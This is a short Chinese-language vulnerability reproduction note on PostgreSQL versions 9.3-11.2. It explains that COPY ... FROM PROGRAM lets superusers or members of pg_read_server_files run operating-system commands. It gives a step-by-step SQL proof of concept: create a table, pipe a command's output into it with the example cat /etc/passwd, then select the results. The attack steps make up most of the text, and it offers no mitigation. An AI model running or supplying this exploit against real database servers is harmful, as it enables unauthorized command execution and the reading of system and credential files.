影响版本 9.3-11.2
这个漏洞是因为PG的9.3版本之后Postgres新增了一个COPY TO/FROM PROGRAM命令,这个命令允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令,也就是说即使不是超级用户也有可能实现任意命令执行。(要么是超级用户要么是pg_read_server_files组中的用户)。
使用超级用户去复现该漏洞
我们需要进行的操作,也是该漏洞可以执行的POC
#如果表存在则进行删除,表名(cmd_exec)可以用其它的名称(该步骤可省略)
DROP TABLE IF EXISTS cmd_exec;
#创建一张表名,列名(cmd_output)可以用其它的名称
CREATE TABLE cmd_exec(cmd_output text);
#用开始提到的COPY执行命令,cmd_exec是保存命令执行后的内容,poc处输入我们需要执行的命令,例如(cat /etc/passwd)
COPY cmd_exec FROM PROGRAM 'poc';
#查看cmd_exec命令执行后保存的内容
SELECT * FROM cmd_exec;
发现我们执行了我们的POC,然后成功读取到了/etc/passwd